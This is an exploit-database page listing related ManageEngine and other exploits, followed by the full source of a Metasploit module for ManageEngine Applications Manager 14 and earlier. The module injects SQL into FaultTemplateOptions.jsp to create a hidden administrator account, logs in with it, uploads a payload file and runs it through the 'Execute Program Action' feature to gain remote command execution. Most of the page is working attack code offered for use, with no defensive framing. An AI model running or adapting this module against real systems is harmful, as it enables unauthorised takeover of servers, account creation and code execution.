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"ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)"

Author

AkkuS

Platform

multiple

Release date

2019-04-22

Release Date Title Type Platform Author
2019-05-22 "Zoho ManageEngine ServiceDesk Plus 9.3 - Cross-Site Scripting" webapps multiple Vingroup
2019-05-22 "Zoho ManageEngine ServiceDesk Plus < 10.5 - Improper Access Restrictions" webapps multiple Vingroup
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - Wild-read due to bad cast in stf_ioctl" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - AIR Optimization Incorrectly Removes Assignment to Register" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - Loop-Invariant Code Motion (LICM) in DFG JIT Leaves Stack Variable Uninitialized" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 DFG JIT Compiler - 'HasIndexedProperty' Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Deluge 1.3.15 - 'URL' Denial of Service (PoC)" dos multiple "Victor Mondragón"
2019-05-13 "Google Chrome V8 - Turbofan JSCallReducer::ReduceArrayIndexOfIncludes Out-of-Bounds Read/Write" dos multiple "Google Security Research"
2019-05-10 "CyberArk Enterprise Password Vault 10.7 - XML External Entity Injection" webapps multiple "Marcelo Toran"
2019-05-10 "TheHive Project Cortex < 1.15.2 - Server-Side Request Forgery" webapps multiple "Alexandre Basquin"
2019-05-07 "Prinect Archive System 2015 Release 2.6 - Cross-Site Scripting" webapps multiple alt3kx
2019-05-08 "Oracle Weblogic Server - 'AsyncResponseService' Deserialization Remote Code Execution (Metasploit)" remote multiple Metasploit
2019-05-08 "PostgreSQL 9.3 - COPY FROM PROGRAM Command Execution (Metasploit)" remote multiple Metasploit
2019-05-06 "ReadyAPI 2.5.0 / 2.6.0 - Remote Code Execution" webapps multiple "Gilson Camelo"
2019-05-03 "Zotonic < 0.47.0 mod_admin - Cross-Site Scripting" webapps multiple "Ramòn Janssen"
2019-04-30 "Domoticz 4.10577 - Unauthenticated Remote Command Execution" webapps multiple "Fabio Carretto"
2019-04-24 "Google Chrome 72.0.3626.121 / 74.0.3725.0 - 'NewFixedDoubleArray' Integer Overflow" remote multiple "Google Security Research"
2019-04-22 "ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-04-22 "Google Chrome 73.0.3683.103 V8 JavaScript Engine - Out-of-Memory in Invalid Table Size Denial of Service (PoC)" dos multiple "Bogdan Kurinnoy"
2019-04-19 "Atlassian Confluence Widget Connector Macro - Velocity Template Injection (Metasploit)" remote multiple Metasploit
2019-04-18 "LibreOffice < 6.0.7 / 6.1.3 - Macro Code Execution (Metasploit)" local multiple Metasploit
2019-04-18 "Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference (PoC)" dos multiple "Fakhri Zulkifli"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in GlyphIterator::setCurrGlyphID" dos multiple "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in sc_FindExtrema4" dos multiple "Google Security Research"
2019-04-09 "Apache Axis 1.4 - Remote Code Execution" remote multiple "David Yesland"
2019-04-08 "QNAP Netatalk < 3.1.12 - Authentication Bypass" remote multiple muts
2019-04-03 "Google Chrome 72.0.3626.96 / 74.0.3702.0 - 'JSPromise::TriggerPromiseReactions' Type Confusion" remote multiple "Google Security Research"
2019-04-03 "Google Chrome 73.0.3683.39 / Chromium 74.0.3712.0 - 'ReadableStream' Internal Object Leak Type Confusion" dos multiple "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.81 - 'V8TrustedTypePolicyOptions::ToImpl' Type Confusion" dos multiple "Google Security Research"
Release Date Title Type Platform Author
2019-05-14 "PHP-Fusion 9.03.00 - 'Edit Profile' Remote Code Execution (Metasploit)" remote php AkkuS
2019-04-30 "Moodle 3.6.3 - 'Install Plugin' Remote Command Execution (Metasploit)" remote php AkkuS
2019-04-25 "osTicket 1.11 - Cross-Site Scripting / Local File Inclusion" webapps php AkkuS
2019-04-22 "ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-04-18 "ManageEngine Applications Manager 11.0 < 14.0 - SQL Injection / Remote Code Execution (Metasploit)" remote windows AkkuS
2019-04-15 "CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit)" remote php AkkuS
2019-04-12 "ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)" webapps php AkkuS
2019-04-03 "TeemIp IPAM < 2.4.0 - 'new_config' Command Injection (Metasploit)" remote php AkkuS
2019-03-11 "OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit)" webapps jsp AkkuS
2019-03-11 "Liferay CE Portal < 7.1.2 ga3 - Remote Command Execution (Metasploit)" webapps multiple AkkuS
2019-03-07 "QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)" remote hardware AkkuS
2019-03-04 "Booked Scheduler 2.7.5 - Remote Command Execution (Metasploit)" webapps php AkkuS
2019-02-28 "Feng Office 3.7.0.5 - Remote Command Execution (Metasploit)" webapps php AkkuS
2019-02-28 "Usermin 1.750 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-02-12 "Jenkins 2.150.2 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-01-24 "SirsiDynix e-Library 3.5.x - Cross-Site Scripting" webapps cgi AkkuS
2019-01-18 "Webmin 1.900 - Remote Command Execution (Metasploit)" remote cgi AkkuS
2019-01-10 "eBrigade ERP 4.5 - Arbitrary File Download" webapps php AkkuS
2019-01-02 "Vtiger CRM 7.1.0 - Remote Code Execution" webapps php AkkuS
2018-12-19 "Rukovoditel Project Management CRM 2.3.1 - Remote Code Execution (Metasploit)" webapps php AkkuS
2018-12-09 "i-doit CMDB 1.11.2 - Remote Code Execution" webapps php AkkuS
2018-12-04 "Dolibarr ERP/CRM 8.0.3 - Cross-Site Scripting" webapps php AkkuS
2018-12-03 "Fleetco Fleet Maintenance Management 1.2 - Remote Code Execution" webapps php AkkuS
2018-11-21 "WebOfisi E-Ticaret V4 - 'urun' SQL Injection" webapps php AkkuS
2018-11-06 "OpenBiz Cubi Lite 3.0.8 - 'username' SQL Injection" webapps php AkkuS
2018-11-05 "PHP Proxy 3.0.3 - Local File Inclusion" webapps php AkkuS
2018-11-02 "qdPM 9.1 - 'filter_by' SQL Injection" webapps php AkkuS
2018-09-25 "Joomla! Component Responsive Portfolio 1.6.1 - 'filter_order_Dir' SQL Injection" webapps php AkkuS
2018-09-25 "Joomla Component eXtroForms 2.1.5 - 'filter_type_id' SQL Injection" webapps php AkkuS
2018-09-04 "PHP File Browser Script 1 - Directory Traversal" webapps php AkkuS
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46740/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46740/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46740/41177/manageengine-applications-manager-140-authentication-bypass-remote-command-execution-metasploit/download/", "exploit_id": "46740", "exploit_description": "\"ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)\"", "exploit_date": "2019-04-22", "exploit_author": "AkkuS", "exploit_type": "remote", "exploit_platform": "multiple", "exploit_port": null}
                                            

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine Applications Manager < 14.0 - Authentication Bypass / Remote Command Execution",
      'Description'    => %q(
        This module exploits sqli and command injection vulnerability in the ManageEngine AM 14 and prior versions.
        It is completely different from the previous EDB-ID:46725 exploit.
 
        Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides authentication bypass.
        Therefore an unauthenticated user can gain the authority of "system" on the server. 
        It uploads malicious file using the "Execute Program Action(s)" feature of the app with the new admin account.
 
        Tested: Applications Manager 14 on Linux 64-bit (PostgreSQL)
                Applications Manager 14 on Windows 10 64-bit (MSSQL)
                Applications Manager 14 on Windows 10 64-bit (PostgreSQL)
                Applications Manager 13 on Windows Server 2012 R2 64-bit (MSSQL)
                Applications Manager 12 on Windows Server 2012 R2 64-bit (PostgreSQL)
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
        ],
      'References'     =>
        [
          [ 'URL', 'http://pentest.com.tr/exploits/ManageEngine-App-Manager-14-Auth-Bypass-Remote-Command-Execution.html' ]
        ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 60, # countermeasure
          'RPORT' => 8443,
          'SSL' => true
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['unix', 'win', 'linux'],
      'Targets' =>
        [
          [ 'Windows Target',
            {
              'Platform' => ['win'],
              'Arch' => ARCH_CMD,
            }
          ],
          [ 'Linux Target',
            {
              'Platform' => ['unix','linux'],
              'Arch' => ARCH_CMD,
              'Payload' =>
                {
                  'Compat' =>
                    {
                      'PayloadType' => 'cmd',
                      'RequiredCmd' => 'generic perl ruby python',
                    }
                }
            }
          ]
        ],
      'DisclosureDate' => '22 April 2019',
      'DefaultTarget'  => 1))
 
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of ME', '/'])
      ],self.class)
  end
 
  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end
 
  def print_status(msg='')
    super("#{peer} - #{msg}")
  end
 
  def print_error(msg='')
    super("#{peer} - #{msg}")
  end
 
  def print_good(msg='')
    super("#{peer} - #{msg}")
  end
 
  def exec(action)
    # operation of malicious file. The end of the adventure :(
    send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'common', 'executeScript.do'),
      'cookie'  => @cookie,
      'vars_get' => {
        'method' => 'testAction',
        'actionID' => action,
        'haid' => 'null'
      }
    )
  end
##
# platform check
##
  def check_platform
    # First touch to support of execute program ;)
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'showTile.do'),
      'cookie'  => @cookie,
      'vars_get' => {
        'TileName' => '.ExecProg',
        'haid' => 'null',
      }
    )
    if res && res.code == 200 && res.body.include?('createExecProgAction')
      # Platform can be discovered precisely using an application dir.
      @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] # It will be recalled later
      if @dir =~ /:/
        platform = Msf::Module::Platform::Windows
      else 
        platform = Msf::Module::Platform::Unix
      end
    else
      fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
    end
    file_up(platform, @dir)
  end
##
# Creating and sending malicious files
##
  def file_up(platform, dir)
    # specifying an extension by platform
    if platform == Msf::Module::Platform::Windows
      filex = ".bat"
    else
      if payload.encoded =~ /sh/
        filex = ".sh"
      elsif payload.encoded =~ /perl/
        filex = ".pl"
      elsif payload.encoded =~ /python/
        filex = ".py"
      elsif payload.encoded =~ /ruby/
        filex = ".rb"
      else
        fail_with(Failure::Unknown, 'Payload type could not be checked!')
      end
    end
 
    @fname= rand_text_alpha(9 + rand(3)) + filex
    data = Rex::MIME::Message.new
    data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
 
    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data.to_s,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'cookie' => @cookie,
      'uri' => normalize_uri(target_uri, "Upload.do")     
    })
 
    if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control
      print_good("#{@fname} malicious file has been uploaded.")
      create_exec_prog(dir, @fname) # Great. Let's send them somewhere else o_O
    else
      fail_with(Failure::Unknown, 'The file could not be uploaded!')
    end
  end
 
  def create_exec_prog(dir, fname)
 
    @display = rand_text_alphanumeric(7)
    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     =>  normalize_uri(target_uri.path, 'adminAction.do'),
      'cookie'  => @cookie,
      'vars_post' => {
        'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
        'method' => 'createExecProgAction',
        'id' => 0,
        'displayname' => @display,
        'serversite' => 'local',
        'choosehost' => -2,
        'abortafter' => 5, # I think it would be enough for once. But I gave 5 O_o
        'command' => fname,
        'execProgExecDir' => dir,
        'cancel' => 'false'
      }
    )
 
    if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control
      # Find actionID simply from body res
      actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] 
      print_status("Transactions completed. Attempting to get a session...")
      exec(actionid)
    else
      fail_with(Failure::Unreachable, 'Connection error occurred!')
    end
 
  end
##
# Check all
##
  def check
    # Instead of detecting the database type, we can guarantee the vuln by sending a separate query to both.
    # The platform can be linux and possible remotely connected to the MSSQL database. 
    # In the same way platform can be windows and postgresql can be used. 
    # Thats why we are sending two queries. We will check the platform inside.
    @uname = Rex::Text.rand_text_alpha_lower(6)
    uid = rand_text_numeric(3)
    apk = rand_text_numeric(6) 
    @pwd = rand_text_alphanumeric(8+rand(9))
    # MSSQL injection should be prepared with ASCII characters. 
    # Map and join can be used for this.
    @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)" # "ADMIN" CHARs - should not be random
    # PostgreSQL injection query // no need APIKEY
    pg_user ="" 
    pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
    pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
    pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
    # MSSQL injection query
    ms_user =""
    ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
    ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
    ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"
    # Send SQL queries to both types of database(PostreSQL,MSSQL) with SQLi vuln..
    use_sqli(ms_user, pg_user)
 
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
    )
    # If the user we sent with queries was created, the login will be successful with new admin user.
    if res && res.code == 200 && res.body.include?('.loginDiv') # css control makes more sense. The application language may not be English.
      @cookie = res.get_cookies
      res = send_request_cgi(
        'method'  => 'POST',
        'uri'     =>  normalize_uri(target_uri.path, 'j_security_check'),
        'cookie'  => @cookie,
        'vars_post' => {
          'clienttype' => 'html',
          'j_username' => @uname,
          'j_password' => @pwd
        }
      )
 
      if res && res.code == 302 && res.body.include?('Redirecting to')
        res = send_request_cgi(
          'method'  => 'GET',
          'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
          'cookie'  => @cookie
          )
        @cookie = res.get_cookies # last cookie
        return Exploit::CheckCode::Vulnerable
      else
        return Exploit::CheckCode::Safe
      end
    else
      return Exploit::CheckCode::Safe
    end
    
  end
 
  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    print_good("Excellent! Logged in as #{@uname}")
    print_status("Admin Username => #{@uname}")
    print_status("Admin Password => #{@pwd}")
    check_platform # Start the adventure
  end
##
# Communication with the database
##
  def use_sqli(mssql, postgresql)
    # two different post data must be sent.
    # Because the query structures are different.
    send_request_cgi(
      'method'  => 'POST',
      'uri'     =>  normalize_uri(target_uri.path, 'jsp', 'FaultTemplateOptions.jsp'),
      'vars_post' => {
        'resourceid' => mssql
      }
    )
    # important to send the +/$ characters clear
    send_request_cgi(
      {
      'method' => 'POST',
      'ctype'  => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path, 'jsp', 'FaultTemplateOptions.jsp'),
      'data' => "resourceid=#{postgresql}"
      }, 25)
 
  end
end
##
# The end of the codes (o_O) // AkkuS
##